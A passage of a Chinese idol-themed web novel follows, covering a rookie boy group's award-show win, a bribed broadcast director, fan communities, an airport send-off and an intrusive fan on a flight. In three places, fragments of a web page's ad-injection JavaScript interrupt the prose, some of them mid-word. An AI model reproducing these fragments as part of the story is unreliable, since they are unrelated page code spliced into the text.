一行人来到准备的休息室后，吴星雨想了想，还是带着大家又过了几遍今天晚上要跳的舞蹈走位和串场。 今天晚上他们有8分钟的表演时间，主打曲是肯定要上的，除了主打曲还准备了一个特别串烧节目。 简单走完几遍，吴星雨才放心地坐下。 江翰飞从兜里摸出两颗巧克力球，这是中午跟吴星雨说的巧克力，让他补充点糖分。 晚饭肯定都是没得吃的，待会儿进场之后除了表演期间，其他时间全程都在座位上，估计得结束之后才能再吃东西了。 吴星雨接过来，想去摸下江翰飞的头又赶紧停下。这可是做了发型的，要是给弄乱了发型师非得拿着刀追杀他。 一旁的葛文山也凑过来，“阿飞，还有吗？” 江翰飞又从背包里摸出两个递给葛文山。他是知道葛文山以前以为减肥过度导致低血糖和胃病，到现在都还没缓过来，是不是就得吃点甜的。所以之前葛文山包里一直放着薄荷糖。 禹安见两个人都在吃，也凑了过来，笑眯眯地盯着江翰飞。 葛文山看了他一眼，把剩下的一个塞进他手里。江翰飞又从包里摸出三个，递给禹安一个，又补给葛文山一个，“哥，我还有呢，包里都还有几个。够的，你们还吃就找我拿。” 葛文山这才点头收回手，又剥了一个放嘴里嚼着，吃完巧克力，江翰飞又一人发了一个口香糖。 天色逐渐暗下来，以如今的Top女solo为大轴结束了红毯。观众们开始陆续入场，休息室门外工作人员们的脚步声也愈发急促。 没一会儿，场务就过来敲门要他们去上台入口候场。 才过来的唐君君倚着桌子，说道，“放平心态，如果今天没有拿到新人奖也不要又任何情绪。把今天晚上的表演当做最重要的事情来看待。” 五人应是，他们自己也做了最差的心理预期，只要不期待就不会有落差。 “下一组，SterLa-准备上台。”站在通道的场务按着耳侧的耳机，一手挥舞着今天的节目单说道，“快，到你们了，快上去！” 吴星雨走在最前面，最后面的江翰飞在走出黑暗的通道时，感觉谁在他背后轻轻推了一把，等他一个踉跄站稳时，已经站在了主舞台上。所有的灯光聚集过来，头顶的大灯，脚边的射灯，场中间的彩灯，还有摄影机上的表示开机录制中的红色指示灯。 幸好开场介绍环节不需要讲话，只是主持人对他们做简短的介绍，江翰飞跟着队里站在了最后面。 ······ “所有团入场完毕，下面即将开始我们的BMA颁奖典礼。” 所有团体听着指挥在预留好的座位上坐下，他们的作为在表演的主舞台和台下观众之间。观买了这个区域站坑的观众可以直接看到们的面部表情，相隔也就十几米。 刚坐下的江翰飞随便一扫，就看到了自己两个站姐站在坑里，扛着大摄像头对准自己。明明是很瘦弱的身材，扛着那么大的摄像头站在下面，就为了多拍一会儿自己。 江翰飞笑着对她们挥挥手。指着自己的嘴巴说了一句话。 木木看见江翰飞嘴巴动了动，但不知道说的是什么。趁着颁奖典礼还没开始，她赶紧拿下相机，找到刚刚的视频回放，放大视频：小—心—点，别—太—累—了。 木木一个字一个字的猜，猜完连成一句话重复一遍。心里涌起阵阵酸涩感，立马又扛起长镜头。 别小瞧姐哈，姐姐可是有过站坑5小时录完全程的记录！ 见台下两人又扛起了长镜头，江翰飞只能放弃。 开场表演开始。负责开场表演的是去年出道，拿到了去年新人奖的女团。几个女孩子在台上英姿飒爽，江翰飞也被他们的舞台魅力吸引，专注地看着，是不是还跟着观众们一起鼓掌。浑然不知舞台两边的屏幕上已经切了好几次他的个人镜头。 唐君君坐在后台的沙发上皱眉。虽然导播愿意给单人镜头是好事儿，但现在可是女团在表演，切这么多江翰飞专注看女团表演的镜头，唐君君总感觉这不对。 还好江翰飞似乎发现了，再切到他时已经没在看比赛，而在和旁边的禹安窃窃私语。 导播无聊的转开镜头，这个镜头之后就没怎么再切给过镜头给江翰飞。 “谢了哥。”江翰飞悄声对禹安说道。 禹安也微微侧头，装出一副两人正常聊天的样子，“自己注意点。” ’江翰飞坐直身体，不再去看台上的舞台演出，转而盯着自己的前排座椅，开始在脑子里预想舞台事故101以及对应的措施。 另一边，一直切镜头给江翰飞的导播假装上厕所，走到外面拨了个电话，“怎么样，够了吧？” 对面不知道说了什么，他急急道，“那不行，太显眼了。而且他现在都不看屏幕的女团表演了。” “再加20万？”导播要咬紧腮帮子，“干了，有机会我就切，但是没机会就是不关我的事。” “你为什么要整江翰飞啊？”虽然答应了干活儿，但还是忍不住好奇地问了一句。 对面没有回复，直接挂断了电话。 导播嗤一句，“不就是一个经纪人，拽什么拽。” 说完把手机踹回兜里，回了导播室。 旁边的欣怡从楼梯处小心地探了个头出来。见没人，赶紧一溜烟地往SterLa-休息室跑去。 “君君姐，君君姐！”欣怡急促的声音从门外传来，唐君君几步赶过去打开休息室的门。 “君君姐，你猜的没错，真的是导播有问题！”欣怡着急忙慌跑回来，还没喘匀气。 唐君君关上休息室门，“别急，你慢慢说。” “有个人给导播打电话，说要加20万整阿飞。”欣怡想到最开始几句话又补充道，“开场那段时间的频繁切镜头也是他故意的。” 唐君君眉头一皱，能联系到导播，还让他帮忙做这种不入流的小事，估计是熟人了。“没事，快到他们表演了，等他们表演完下场，你在下场的地方等他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 们，带他们回来补妆。” 欣怡点点头应好。心里崇拜地想： 君姐是真聪明啊。刚刚一起看转播，她一点儿问题都没发现，君姐却直接就猜到了是今晚的导播有问题。 果然，没几分钟休息室转播的电视里就显示，下一个表演的组合来自最近刚出道的新人男团SterLa-。 江翰飞他们站在升降机上，昨天来彩排的时候是下午，这是第一次晚上真正站上来。 “唔呼呼~”清冷空灵的吟唱声在体育馆内回荡。这次BMA用的音响和话筒都是高端货，配上体育场馆自带的回响，仿佛一捧薄雾将所有人都笼罩进去，清晨冰凉又缠绵的雾在人的耳边随着风飘荡。 场馆内突然变得安静，只听得见还没有伴奏进来的吟唱。 旋即，伴奏滑入。这里的伴奏为了达到最好的舞台表演效果是公司特地让人改编过得版本，变得更加恢弘，更适合体育场这种大场馆。 主打曲他们从确认好了主打曲开始就练习。用队长的话来说，已经到了就算是睡梦里听到伴奏都能让身体做出正确的动作。 各具特色的嗓音，整齐的舞蹈，强力的Rap，顺滑而高亢的副歌。 “哇，这种质量的现场舞台，难怪他们每次打歌之后涨粉那么厉害。”爱豆席的一位去年出道的男团爱豆悄悄和自己的队友说道。 “这种实力的新人男团，乐狮这是藏了几年啊？” “谁知道呢，还是大公司好。各种资源比我们公司好太多了。” “其实要不是Hitting愿意带他们，应该起飞的也没这么快吧？一个新人男团真是一点儿面子不给我们留啊。” 台下的观众席还沉浸在表演里，手里虽然拿着别团的应援棒也不由自主的就挥舞起来。 一曲终了，现场观众送上了如潮般的呐喊和掌声。 台上的五人一边深呼吸大喘气恢复呼吸节奏，一边从主舞台往分舞台走去。 啪！ 舞台上的光全被关掉，只剩下一束光照在吴星雨身上。 咔哒咔哒！ 传来他们一首收录曲的伴奏声。吴星雨像是一个机器人一般，随着伴奏的独特咔哒节奏音扭动着自己的关节。三十秒的独舞之后啪的一声照在他身上的光关掉，照在了站在一起的葛文山和禹安身上。 一个少年怒音，一个成熟低音。一高一低的嗓音时而一前一后。快嘴的rap堪比加特林，直到唱完还留有让人心悸的节奏。 灯光来到了江翰飞和于立果的身上。江翰飞清冽的高音搭配于立果低沉的烟嗓，公司计划已久的二重唱终于展现出来。唱着不一样的声部和歌词，却好像玉石碎冰，既带着玉石和冰的干净和冰冷，又带着击碎冰那一刹那的破碎故事感。 场中的爱豆席和观众席无一不瞪大了眼睛，紧紧盯着台上的人。表演结束所有灯光亮起，才把观众和爱豆们从刚刚的冰雪世界里带回，开始疯狂鼓掌和瞪着一双不可置信的眼睛与身边的人对视。 这乐狮，是藏了个大杀招啊！ 41.第 41 章 “快走走走走·····”于立果催促着前面的吴星雨快下场。 他们作为男团新人的有力候选有8分钟左右的表演时间。同样作为女团新人的有力候选也有8分钟的表演时间，刚好就排在他们后面。两个男女团新人候选刚好一前一后的节目安排，导致现在他们还没下场，台下的欢呼还在继续，而女团新人候选已经在上台了。 江翰飞几人弓着腰，快速从舞台侧面的出口下台，从舞台下的通道进到后台休息室，妆造师一拥而上抢妆。 擦汗，补底妆，补唇釉，拍散粉，抓头发，整理服装····· 休息室内一下子热闹起来，每个成员身边都围着人。 女团新人表演完之后就是今年男团和女团新人奖的颁奖典礼，作为候选团，待会儿一定会上大屏幕。要想待会儿不出丑，现在就得赶紧擦汗补妆整理造型。 幸好上次出道专成绩不错，公司又给他们的固定团队增加了几名人手，否则现在就捉襟见肘了。 没等他们完全做完，就听见负责串场的场务过来敲门催促，让他们赶紧进入座位席，等待公布新人奖的获奖人。 紧赶慢赶，总算在主持人在台上聊话题拖了一会儿后成功坐到位置上，屁股还没做热，大屏幕的摄像头就扫了过来。五人赶紧装起样子跟摇过来的摄像机挥手示意。 “······宣布，最佳新人男团的获奖者是·····” “是····？” 女主持人捧哏，配合着男主持拉长的语调。 禹安抓紧身边江翰飞的衣角，江翰飞两只手紧张地扣在一起，被挡住的内侧左手大拇指不停划拉着右手的大拇指甲盖。于立果和吴星雨貌似淡定的对摄像机点点头，只从绷紧的太阳穴和腮帮子泄露出真实情绪。葛文飞身体前倾，双肘撑在膝盖上，两手交握，眼睛直直地盯着台上的方向。 “恭喜SterLa-！！” 场内响起热烈的掌声和欢呼声。在全场的欢呼声中，几人站起身来，平静地对旁边跟拍他们反应的摄影师微笑点头示意，稳稳地往领奖台走去。 “恭喜SterLa-！ “我们是男新！我们赢了哈哈哈哈！” “恭喜我的小破团呜呜呜！！” 台下的粉丝们一边疯狂挥舞着手里的应援棒，一边尖叫着蹦蹦跳跳。好像这样才能宣泄出自己的兴奋。 吴星雨代表SterLa-从主持人手中接过奖杯，凑近话筒说获奖感言：“感谢大家给我们的荣誉，其实没有想到真的能拿到这个奖。现在也很难表达我们的激动心情，但既然大家信任我们，给了我们这个荣誉，那SterLa-能给大家保证的是，我们绝对不会辜负大家的信任。希望我们在前行的路上，能一直有你们的陪伴！” 新人男团发言时间短，说完SterLa-的五人跟在场所有观众鞠了一躬，就从另一侧下台了。 “队长，牛逼。”刚下台进入过道，吴星雨侧后方的于立果立马说道。 “你先把这个拿着。”吴星雨突然转过身来，顺手把奖杯塞给于立果。 于立果：？ 吴星雨：“我手抖！” “哈哈哈哈哈哈。”听见吴星雨的话，五人齐齐笑起来。江翰飞当时听吴星雨说话沉稳自信有逻辑，还好一阵佩服，心想果然队长就是队长，第一次面临这种大场面也是一点不带慌。 其实那段台词吴星雨早就写好了，自己偷摸着背了好几天。虽然网上的讨论一阵一阵的，都觉得他们应该能获奖。但尘埃落定前，谁也不敢打包票。 因此他虽然听着唐君君的话早早的准备好了获奖感言，但一直没有在队友面前背过，都是晚上找着时间背着人背。有一次练舞中途躲在厕所背，背得忘了时间，还被葛文山来厕所找过。 于立果是早就知道吴星雨有准备，还撞见过他偷摸背感言的场面，不过很配合的没拆穿。现在看吴星雨下台之后才露出的紧张模样和还在微微颤抖的手，哈哈大笑起来，转身又把奖杯塞给身后的江翰飞，自己一把揽过吴星雨的肩膀，“牛逼啊队长，一点看不出来你在紧张。” 江翰飞一边跟着前面的哥哥们走，一边低头打量着手上的水晶奖杯。算上人生所有的时间，这是他第一次拿到一座奖杯。虽然不是给他一个人的，但是有一部分属于他。 水晶奖杯拿在手里沉甸甸的，杯身的部分在灯光的照射下折射出极亮的光，闪人眼睛。底座上还有一个最佳新人男团的字样。刚刚还有个场控姐姐过来跟他们说，奖杯先放在休息室，晚上颁奖典礼结束后统一归还到主办方，主办方后续给奖杯刻上团队名称后再发还给他们。 禹安凑过来走在他旁边调侃道，“这么喜欢？” “嗯，很喜欢！”江翰飞老实回答，又反问道，“你不喜欢吗？” 禹安一噎，他能说不喜欢吗？ 最佳新人男团啊，他们团的第一个奖。他能不喜欢？ 虽然面上一副淡定自若的样子，但刚刚在宣布获奖团体前感觉自己心脏都要停跳了，往台上走的时候像踩在棉花上，脚底软绵绵的，到现在都还有一种不真实感。要不是看见过江翰飞的入迷样子想要习惯性的调侃一番，说不准现在都还沉浸在刚刚的感觉里。 葛文飞走在最后，沉默的听着前面四个人叽叽喳喳，狭长的眼里含着笑，嘴角也难得微微翘起。 欣怡跟在最后，心里也满满涨涨，笑得见牙不见眼。走到岔路口，五人把奖杯交给欣怡带回休息室，他们则回了爱豆座席。 回去席位的路上，同年出道的爱豆们也不知道该用什么样的表情面对胜利者，纷纷装作一副台上表演精彩得让人入迷的样子目不斜视。 你说这前面九个月没有什么对手，结果十月一个回归大战出来的新团直接登顶新人团，这叫什么事儿啊！ 爱豆席前站坑的粉丝见自家爱豆回来，捂着嘴对着他们一个劲儿摇应援棒表示对他们获奖的开心。五人组见状也拿起主办方发给爱豆的荧光棒对着站坑里的粉丝们一个劲儿晃。 坐在另一面观众席的几个拍他们Reacti (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' on的站姐看了忍俊不禁，不想承认这是自家的二傻子们。 颁奖典礼每年都是爱豆之间的无形大战。一个是获奖，一个是舞台。 每年颁奖礼之后各个对家团之间都会把自家爱豆的奖项，获奖数量还有舞台拉出来一一对比。奖项的含金量谁高谁牛逼，谁奖项多谁牛逼，谁家舞台最好看，最出圈谁牛逼。 于是BMA一结束，SterLa-的粉丝直接刷屏#BMA最佳男团新人奖 #BMA新人奖，疑似直接贴脸嘲讽先前被炒得沸沸扬扬的竞争对手团IUE。 “之前是谁说SterLa-铜臭味儿重，只知道卖货和代言的，音乐质量差的？出来走两圈。” “官方专辑销售数量出来了，BMA官方平台统计数量也出来了，说SterLa-专辑销量造假的，好心提醒你们一句，赶紧删博文，否则告你们名誉诽谤一告一个准！” “替我们担心小作坊拿不到奖的谢谢你们，管好你们自己，今年第一个新人奖，拿下！” “恭喜SterLa-，恭喜我的五个宝宝！继续加油，后面的奖项我们也争取争取，不然我们这小公司出来的，没人看得上啊！” “我果然就是追星的天选之子，每次粉上的新爱豆都是登顶潜质！” IUE的粉丝气不过，但自己没拿奖确实没法回嘲。有不懂事的粉丝为了出气，直接阴阳怪气SterLa-的粉丝少见多怪，抱着一个BMA的水奖就开始炫耀。结果连夜被自家大粉教育，不要牵扯任何平台让把博文删掉。有粉丝不服气，犟着不肯删，最后直接被自家的站子挂黑了，这下又是一波粉转黑直接开骂。 搞得鸡飞狗跳好一阵，直到IUE终于在另一个颁奖典礼压过SterLa-，也拿到了一个新人奖之后才消停下来，齐心协力开始回嘲SterLa-。 ‘爱吃炒豆’这个群也在一直在讨论各个颁奖典礼。群里的小姐妹们都知道群里的富婆朱朱和另一个小姐妹喵喵都是SterLa-的粉丝。每次见SterLa-获奖，纷纷在群里艾特恭喜他们的小爱豆得奖了。 “朱朱又去现场拍照了吗？今天晚上艾特她好几次都没出现。” “她必去的好吧。”柯苗一边加班一边水群，没有精神食粮真的撑不下去。 “江翰飞在哪儿，她就在哪儿，她是真的爱了。” “貌似是的，就没见朱朱缺席过江翰飞的正式场合。” “这还是朱朱第一次这么粉一个人吧？” “是啊，不过听她说的，我也有点粉江翰飞了。长得好，实力好，性格温柔又内向还带点社恐，超绝反差。”柯苗心虚的在群里打字。她本来是葛文飞的粉丝，就喜欢那种高高的带点酷哥风格的帅哥。但是上次江翰飞染了西柚粉发的那场打歌，差点把她人迷晕了，从那之后一直有成为双担的迹象。 群里的姐妹一早知道她什么德行，纷纷开始调侃起她来，同时也不禁开始好奇：到底是个什么样的爱豆，才能迷得博览众爱豆的朱朱和柯苗都这么爱呢？ 42.第 42 章 最近SterLa-算是风头正盛，先有普通咖啡品牌代言，效果堪比二线男团；接着又再年末的颁奖礼上接连斩获新人奖。 昨晚刚结束的跨年盛典也将新人奖斩于马下。 这么一合计，除开两个小团把最佳新人颁给了IUE，7个年末盛典，SterLa-独得其五的新人奖。 就这公司和SterLa-的粉丝还在纷纷惋惜，没能收获新人奖大满贯。要知道上个拿到新人奖大满贯的男团后来可是风靡一时，直接登顶。 如果SterLa-能拿到大满贯，这传播度都不需要公司下场，圈内粉丝都能自发传播得人尽皆知。 但错过就是错过了，总归这个出道成绩在近几年各个公司推出的男团里，已经算得上最佳。 “找一下朱朱在哪儿！”一个带着鸭舌帽的女孩子拽了旁边的短发女孩儿一下，一边说着一边四下张望。 “别找朱朱了，她是站姐，今天肯定是在比较远的地方拍。”短发女孩儿双手握着手机，手指飞速敲击着手机键盘，“我们直接找喵喵去，她说她在入口的地方占好位置了。” 说完，短发女孩儿扯着鸭舌帽女孩儿的手往入口处跑去。 她们俩都是‘爱吃炒豆’群里的群友，前两天看完颁奖典礼，被群里的朱朱和喵喵两位SterLa-的铁杆粉丝蛊惑，两人又正好在这个城市。一时禁不住诱惑，相约朱朱和喵喵今天一起来给SterLa-送机。 两人还没走到喵喵说的入口，就听见隐隐约约的嘈杂声。拐过一个转角，远远就见前面聚集了一大片人，手里拿着各种应援物。在正对入口处的地方，还有十好几个挂着各个媒体牌子的摄影师正调着手里的摄像机。 两人凑过去，找到了正在和别的小姐姐聊天的喵喵。 “······哇，姐姐你粉的这么早啊？那你是骨灰级老粉了啊？”扎马尾的小女生穿着粉嫩，对着喵喵发出了赞叹。 “额咳咳！也不算！SterLa-的崽崽们才出道三个月，如果我们以后能一直陪着他们走下，我们都是老粉！”柯苗毛衣长裙配大衣，脸上画着精致的妆容，叫办公室的同事看到，一定认不出这个潮流精致女孩儿是办公室里那个素面朝天，一年四季都能穿着拖鞋上班的女孩儿。 “我肯定会的！”小女生看起来年纪不大，脸上还带着没有褪完的婴儿肥，目光炯炯地盯着柯苗，声音坚定得像是在发誓，“这是我第一次追星，真的超级超级超级超级喜欢飞飞崽崽！” “咦？你是阿飞的妈粉啊？”鸭舌帽女孩儿突然插嘴，柯苗和小女生这才发现有两个人已经凑了过来。 “对啊！虽然我年纪比飞崽小点，但是不影响我当他妈！”小女生说话中气十足，特别开朗，声音引得周围好几个人都看过来，“两位姐姐也是飞崽的粉丝吗？” 鸭舌帽女孩儿和短发女孩儿垂眼交流一个眼神，默契地说道，“对啊！我们都是他们刚出道就粉上了！” “哇！你们和喵喵姐姐一样的出道粉啊！”小女生像是发现什么新大陆似的，又惊又喜。 鸭舌帽女孩儿和短发女孩儿听对面的小女生说柯苗是出道粉，两人默默地把目光斜视向在一边的柯苗，果不其然发现对方脸上不自在的心虚表情。又默契地收回视线，对着眼前的小女生点点头：“嗯嗯！” “你们也太有眼光了！我都是道后来他们打歌快结束了才粉上他们的。”小女生蹦蹦跳跳，从手里的自印卡里抽出一大叠，分别塞给她们三个。 热情难却，收下小女生塞过来的自印周边。道过谢后她们仨手里也没别的东西可以交换，短发女生把手里提着的小袋子递了过去，“还没吃早饭吧？这个给你。别嫌弃。” “谢谢姐姐！我今天凌晨四点直接从学校打车过来的，正好没买到早饭！我不客气啦！”小女生大大方方地接过小袋子，里面有一个早餐三明治和一盒奶，都是密封得好好的没拆开过。 柯苗在一旁尴尬得不行，和小女生道个别，拉着另外两位女孩儿溜走。 三人跑到一个没人的角落，鸭舌帽女生和短发女生这才似笑非笑地看着柯苗：“喵喵姐，出道粉哦~~” 柯苗脸一红，随即想到自己确实是葛文飞出道粉啊，也是SterLa-的团粉。脖子一梗，下巴一抬：“江翰飞是SterLa-的一员，我是SterLa-的出道团粉。那我说自己是他的出道粉怎么了？” “好好好，是是是！”旁边的两人笑得不行。 柯苗被笑得脸涨红，只能拿出手机假装专心玩儿手机。 江翰飞的那场妆造真该死啊！那不就是红果果的勾引我吗？ 妈妈，这里有妖精勾引你女儿你管不管啊！？ 算了妈妈，别管了，你女儿愿意被勾引T T。 在脑海里完成了一场自问自答对话的柯苗放弃挣扎，反正都已经在坑底躺平了，还是别挣扎了吧。 “朱朱呢？”鸭舌帽女孩儿笑够了，问道。 “朱朱说这是阿飞第一次走机场，她准备开大，去机场二楼测试机位了。”柯苗有气无力，“她那儿太远了，我们待会儿在入口过道旁边就行。” 鸭舌帽女生和短发女生点点头，她俩属于喜欢看演唱会的，送机是真的去的很少。这次要不是她俩实在好奇江翰飞线下什么样子能把朱朱和柯苗蛊成这样，这么早的机场她俩说什么都不会来的。 现在是早上六点半，机场外的天黑中泛着蓝，太阳刚刚有点冒头的影子。 SterLa-的机票时间是9:20，算算时间应该也快来了。粉丝们也知道时间，早早地找好了位置，等得久了直接席地而坐，拉着左右两边的同担开始聊起入坑的契机，喜欢的打歌场次或是一起吐槽某些对家的骚操作。 明明是一个小时前从未见过的陌生人，却因为同样的爱豆迅速拉近了距离，开 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 口就叫上了姐妹。 还有人拿出了SterLa-里非自担的小卡，左右两边问问，打算直接现场换卡。时不时的开心大笑和偶尔的尖叫让机场的其他人频频侧目，也在暗中猜测着是不是有哪个明星要来。 有大爷大妈们赶飞机来得很早，坐着无聊了就时不时好奇地过来转几圈，揣着个手，假装不在意虚着眼睛地辨认着手幅上的名字或者团扇上的人脸。 “啊哟，小姑娘，这是你们偶像啊？叫什么名字啊？”终于有好奇的阿姨看了半天也没认出花体字写的什么名字，直接开口询问。 围坐在地上的小姑娘眼睛一眯，露出一口白牙，“对呀！他叫江翰飞，江河的江，古时候翰林学士的那个翰，高飞的飞。江翰飞！唱歌超级好听的哦，阿姨可以也可以听听看！” “在跃音App上直接搜就能搜到！” 心想，绝不放过任何一个安利自家崽子的机会。 “看着白白净净的，是很有学士的样子唷！”阿姨得到了答案，满足之余也跟着小姑娘附和了两句。 “阿姨你真有眼光！”听见有人夸江翰飞，周围好几个小姑娘眼睛biu的亮了，纷纷称赞着阿姨有眼光，又潮流。夸得阿姨合不拢嘴。 “哎哟，我们那个时候也是有明星的啊！那个谁谁谁和那个谁谁长得老帅了，唱歌也好听的，当年他们的粉丝说不定比你们这个小朋友的粉丝还多咧！”阿姨不禁回忆起自己年轻的时候，也没什么娱乐活动，整天抱着个收音机当宝贝，谁要是能拥有两盘最新的歌唱卡带，那真是十里八乡顶顶有面儿，顶顶潮流的人儿了。 “那可是大前辈，大歌唱家！我们可不敢比！”听见阿姨把江翰飞拿来和老前辈们比较，赶紧表示不敢不敢。还一直警惕地看着四周有没有可疑人物录视频。这要是被录下来发到网上，网友们的口水都能淹死人，“我们阿飞还很小呢，还要成长的。” 阿姨见小姑娘们居然这么谦逊，心里不禁对这个名字很有书香气的后生仔有了几分好感，“是的是的呢，得成长，慢慢长。会越长越高的。你看他那个名字，就是能长得很高的类型！” “哈哈哈哈，谢谢阿姨！”小姑娘们被阿姨逗得笑倒在地，刚刚的警惕烟消云散。 阿姨看着嬉笑的小姑娘们，感觉自己好像也回到了年轻的时候，在村口和镇上跟朋友悄悄地讨论当年的那谁，从牙缝里省钱出来买卡带，买完了还不敢放家里，拿了布包的严严实实塞在林子的一棵树下，就自己和当年的朋友知道地方。还记得自己说过以后长大了要去城里找到他，嫁给他呢。 现在一晃几十年过去了，要不是今天看到这群小姑娘，早就忘了还有这么些事儿，也忘了当年自己也是年轻过，干过一阵儿潮流的呢！ 阿姨回到座位上，把鬓边的白发抿到耳后，思绪也开始放空。许久不曾想起的记忆像是打开了闸口翻涌出来。 那可不就是青春吗？ 43.第 43 章 公司的车刚开到入口就被粉丝们认出来，或蹲或坐着的粉丝们一瞬间沸腾起来，像是一滴水掉进油锅里，噼里啪啦地炸开了锅。 “小星星！昨天的舞蹈超级厉害！迷死人啦！” 吴星雨最先下车，穿着一套宽松的潮牌休闲装，听见粉丝的声音转向声音来源，食指中指并拢做了个帅气的致礼。 “江翰飞，看这边！！” “阿飞！！妈妈爱你！”自从上次换了个发色打歌之后，他的妈粉越来越多。每次颁奖典礼都能听见妈粉的声音，还有不少妈粉站姐，在活动进场的时候一个劲儿叫崽崽看镜头。搞得他时不时地怀疑一下自己粉丝的年纪，直到现在面对看起来比自己还小的女孩子叫自己崽崽，隐隐约约地还有点别扭。 可惜粉丝们就特别喜欢他这个劲儿，见他眼里含着几分不自然的羞涩，叫他崽崽叫得更起劲儿了。 走在他旁边的禹安知道江翰飞对粉丝的昵称有点不好意思，每次听见江翰飞粉丝叫他崽崽都要转头去看江翰飞表情。白捡的热闹不看白不看呀。 “安安宝贝！别看了，注意安全！！”可惜禹安自己也是妈粉和颜粉最多，特别喜欢在他的昵称后加个宝贝。听久了感觉好像自己真的成了一个小孩儿被宠着似的。禹安正朝着那边挥手，转头又听见有人问他，“安安，你打算什么时候开班啊？” “啊？开班？什么班？”禹安迷茫地反问了一句。 而刚刚问她的女生却没等到他回答就被挤到了后面，面前只剩下对他疯狂夸赞颜值的粉丝 “山老师！这边这边！” 葛文山的漫画身材，酷哥脸，搭配上一腔攻击力超强的Rap。看起来爆棚的男友力让他成功成为队里女友粉和二次元粉最多的成员，甚至还有几个稀少的男粉。 而于立果的粉丝比例却很奇怪，相比其他成员，很少颜粉，但是女友粉比例居然是全队第二。 原本公司最开始让他补位，只是为了推出他和江翰飞的二重唱，恰好性格和其他方面也正好合适，才让他紧急补位成为出道成员之一。 所以他的定位和人设是最单薄的，只有一个副主唱的定位。又因为除了吴星雨就他管事儿比较多，私底下也被SterLa-的粉丝们成为副队长。 因为女友粉比例这事儿，公司还专门深入粉圈调查过。他的女友粉全是喜欢他性格的，觉得于立果情绪稳定，会交际，情商高。还有一个很特别的大粉账号@跟着于某某学高情商处事，竟然还圈了不少圈外粉 “啊啊啊啊啊！小花！！”于立果听着这个昵称先是眉头一皱，绷不住半秒又忍不住笑起来，他的粉丝们似乎真的很喜欢叫他这个奇奇怪怪的昵称。 朝声音的方向招招手应下称呼的动作，让粉丝又是一阵尖叫。 她们是真的很喜欢他这种好像是在纵容她们胡闹的样子。 有大胆的粉丝直接喊上了老公，引起一片到底是谁老公的争论。 其实‘小花’这个昵称最早是黑粉用来讽刺他‘交际花’一样到处攀关系的，结果就跟副队长这个称呼一样，最后被粉丝意外地拿来当了爱称，还特别受粉丝喜欢。 “宝贝们！一路顺风！” “飞机上好好休息！” “啊啊啊崽崽们，SterLa-就是最棒的！！” “······” 柯苗一行三人挤在中间的位置，前后左右都围满了人，他们在中间被人群各个方向传来的推力挤来挤去，一个不小心可能就磕到了旁边或者前面的人。手里准备好拍照的手机根本来不及精心调整构图，只能开着录像先录着。 耳边传来阵阵的尖叫声，身体四周各个方向都在受力。挣扎了一会儿实在站不稳后三人放弃了，不再尝试使劲儿抵抗身边的力气，专注地看着正在跟粉丝们打招呼的SterLa-几人。 一波一波的声浪将她们卷入其中，慢慢地她们开始放松下来。刚刚的拥挤和嘈杂也变了味道，让人开始忍不住跟着声音去关注着几人的一举一动，去仔细辨认他们在说什么。听到好笑的事情也一起哈哈笑起来。 直到SterLa-的五人走过安检，一起转过身来跟粉丝们鞠躬道别，她们才发现不知不觉间已经跟了一路。 “谢谢大家今天来给我们送机！回去注意安全！”五个少年站在闸机后踮着脚尖，手举的高高的，使劲儿跟今天大早上就来给他们送机的粉丝们挥手，“记得吃早餐！没有吃早餐的快去吃早餐吧！” “你们快进去吧！” “好，送你们进去了我们就去！” “你管我们那么多呢，你们自己休息好就行了。” “不用担心我们，待会儿就去啦！” “······” 双方都跟要分别很久似的，傻傻的对着喊话挥手了好一会儿，才以唐君君把五人领走结束。 “助理姐姐，帮我们多多照顾一下他们哦。”欣怡走在最后面，正准备过闸机，旁边突然有人小声在说着话，“辛苦助理姐姐了。” 欣怡一愣，转过头去，发现有几个看起来颇为眼熟的女孩子。 领头的是个扎着短马尾的女生。 短马尾女生看着欣怡一笑，“辛苦辛苦，也谢谢你上次给我们的热饮和巧克力。” “那不是我给的，是SterLa-他们给你们准备的。”欣怡解释道。 “知道知道，也辛苦你跑下来分给我们了嘛！”短马尾女生笑得爽朗，“这个给你，不是什么贵重东西，都是我们吃着觉得好吃的零食。我们先走了，下次见！” 说完，把一个小袋子塞给欣怡，抓着身边女孩子的手一溜烟地跑了。 欣怡打开手里的小袋子，真的只是几袋子零食。她面色古怪的看了一会儿，纠结再三还是带上了。 心情感觉莫名的好。 这边SterLa-的五人登机后刚找到自己座位坐下。 公司给订的经济舱，五人加上几个工作人员占据了飞机最前面几排，把最靠里面的位置留给了他们。 飞行时间比较长，舱内昏暗又安静，行程中间大家都开始昏昏欲睡。 江翰飞半醒半睡间隐隐约约听见好像有轻轻的咔哒咔哒声，像是什么按键的声音。 他刚想做起来看看什么情况，身边的于立果保持着身体不动，手立即按住了他。 江翰飞疑惑地看过去，见于立果眼睛也睁着，眼神清明，不像是刚刚睡 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江翰飞闭目养神真的就睡过去了，醒来的时候睁眼就听到了咔嚓咔嚓不断的快门声，声音很近。 让他不明所以地转过头。 然后直接对上了一个朝着他的摄像头。 拿着摄像机的女生见他看过来更兴奋了，手指不停地按动着快门。一边还念叨着可爱可爱，太可爱了。 “不好意思，你有点打扰到我们了，请你离开。”于立果也刚醒过来，见有人怼着江翰飞拍，直接伸手替江翰飞挡住了摄像头，“不要拍了。” “有没有拍你，跟你有什么关系？”女生被挡了镜头，不爽地翻了个白眼，语气比于立果更冲，“真当自己是副队长了，少在这儿自作多情，我拍他关你什么事儿啊？” “你也·····” “他是我哥，不关他事儿那跟不关你的事儿。”江翰飞少说话见的冷，直接打断了对方还没说完的话。 整个人已经从刚刚睡醒的状态中脱离出来，微微皱眉低头，目光锐利，直直斜着向上盯着站着前排靠椅旁的女生，“你已经很影响我们了，请离开。” “你！”女生一开始被盯得吓了一跳，她跟了好几次行程，从没见过江翰飞黑脸。圈内的‘前辈们’都说SterLa-这群人挺奇怪的，私下竟然和在外性格差不多，在他们口中江翰飞一直是一个表情不多但是脾气还挺好的小爱豆。 “我可是你的粉丝！”她回过神来，出奇的涌出一阵愤怒，声音变得更大，“你作为偶像，就是这么对你的粉丝的？” 